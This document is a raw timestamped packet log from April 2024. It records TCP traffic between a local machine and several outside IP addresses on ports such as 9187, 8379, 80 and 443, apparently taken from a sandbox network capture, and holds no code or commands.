Apr 19, 2024 01:33:31.416461945 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416474104 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416500092 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416552067 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416557074 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416594982 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416634083 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416646004 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416672945 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416711092 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416723967 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.458616018 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616147041 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616209984 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616269112 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616307974 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616348028 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616348028 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616369009 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616384983 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616429090 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616435051 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616466999 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616504908 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616512060 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616544962 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616581917 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616590977 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.616636038 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616676092 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.616687059 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.661797047 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.816560984 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816581011 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816639900 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.816735029 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816752911 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816771030 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816787958 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816800117 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.816804886 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816822052 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816838980 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.816839933 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816868067 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816876888 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816879034 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816885948 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.816895962 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.816924095 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016264915 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016323090 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016375065 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016381979 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016421080 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016459942 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016463995 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016498089 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016534090 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016534090 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016572952 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016614914 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016623974 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016665936 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016705990 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016707897 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016743898 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.016783953 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.016792059 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.062383890 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.216142893 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216227055 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216267109 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216296911 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.216308117 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216348886 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216355085 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.216387033 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.216428995 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.462522030 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.490104914 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:32.646437883 CEST	49732	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.784514904 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.784596920 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:32.786736012 CEST	49730	28012	192.168.2.6	47.108.224.157
Apr 19, 2024 01:33:32.820915937 CEST	8379	49731	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:32.821047068 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:32.821284056 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:32.979996920 CEST	9187	49732	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:32.980870962 CEST	49732	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:33.151819944 CEST	8379	49731	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:33.152856112 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:33.483547926 CEST	8379	49731	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:33.486958027 CEST	8379	49731	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:33.536844969 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:33.852067947 CEST	49732	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:33.854583979 CEST	49731	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:34.040925026 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:33:34.185233116 CEST	9187	49732	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:34.185384989 CEST	49732	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:34.339569092 CEST	80	49733	47.79.64.164	192.168.2.6
Apr 19, 2024 01:33:34.339703083 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:33:34.783000946 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:33:35.082026958 CEST	80	49733	47.79.64.164	192.168.2.6
Apr 19, 2024 01:33:35.083975077 CEST	80	49733	47.79.64.164	192.168.2.6
Apr 19, 2024 01:33:35.130486965 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:33:35.464507103 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:35.464559078 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:35.465039015 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:35.468590975 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:35.468616009 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.109791040 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.109891891 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.188086033 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.188111067 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.188575983 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.239859104 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.297463894 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.297508955 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.297827005 CEST	443	49734	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.304265022 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.304295063 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.304353952 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.305612087 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.305628061 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.646305084 CEST	49734	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.651319027 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.651398897 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.651643991 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.651906013 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:36.651942015 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:36.689672947 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.689770937 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.692517042 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.692526102 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.693541050 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.695698023 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.695786953 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.695794106 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.695961952 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.740118980 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.818247080 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.818428993 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:36.818507910 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.818620920 CEST	49735	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:36.818641901 CEST	443	49735	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:37.005873919 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.274846077 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.275085926 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:37.277081966 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:37.277133942 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.277652979 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.279089928 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:37.279089928 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:37.279373884 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.322036982 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.322124004 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.322323084 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.638319969 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639317989 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639343977 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639362097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639379978 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639398098 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639410019 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.639416933 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639437914 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.639458895 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.693150043 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.738706112 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.738732100 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.738751888 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.738825083 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955533028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955557108 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955574989 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955593109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955614090 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955629110 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955631018 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955653906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955668926 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955673933 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955693007 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955693960 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955712080 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955718040 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955732107 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955760956 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:37.955761909 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.955835104 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:37.999172926 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.999337912 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:37.999521017 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:38.001193047 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:38.001194000 CEST	49736	443	192.168.2.6	23.248.236.58
Apr 19, 2024 01:33:38.001256943 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:38.001291990 CEST	443	49736	23.248.236.58	192.168.2.6
Apr 19, 2024 01:33:38.009085894 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.009108067 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.009165049 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.054800987 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054831028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054848909 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054867029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054886103 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054904938 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.054907084 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.054934978 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.054955959 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.271960974 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272026062 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272068024 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272126913 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272131920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272173882 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272212982 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272226095 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272252083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272263050 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272294044 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272332907 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272380114 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272392035 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272430897 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272440910 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272469997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272506952 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272543907 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272583008 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272604942 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272604942 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.272618055 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.272665024 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339435101 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339500904 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339539051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339562893 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339577913 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339617014 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339648008 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339659929 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339698076 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339710951 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339739084 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339777946 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339816093 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339832067 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339854956 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.339865923 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.339898109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.340759039 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.371093988 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.411725044 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.539268017 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539333105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539371967 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539410114 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539419889 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.539452076 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539469004 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.539493084 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539530993 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539546013 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.539570093 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539608955 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539649010 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.539654016 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.539695024 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.589042902 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.589138031 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.589179993 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.589266062 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.739767075 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.739875078 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.739916086 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.739953995 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.739996910 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740024090 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.740037918 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740077019 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740091085 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.740151882 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740190983 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740230083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740277052 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740295887 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740297079 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.740297079 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.740310907 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.740364075 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.939496040 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.939558983 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.939598083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.939683914 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.972671986 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972742081 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972789049 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972826958 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972839117 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.972839117 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.972870111 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972909927 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972917080 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.972949028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.972985983 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973025084 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973057985 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.973063946 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973104000 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973141909 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973145962 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.973145962 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:38.973184109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:38.973339081 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.173043013 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.173115969 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.173134089 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.173149109 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.173165083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.173197031 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.173238039 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.173311949 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.490534067 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490598917 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490647078 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490664959 CEST	9187	49737	47.57.240.88	192.168.2.6
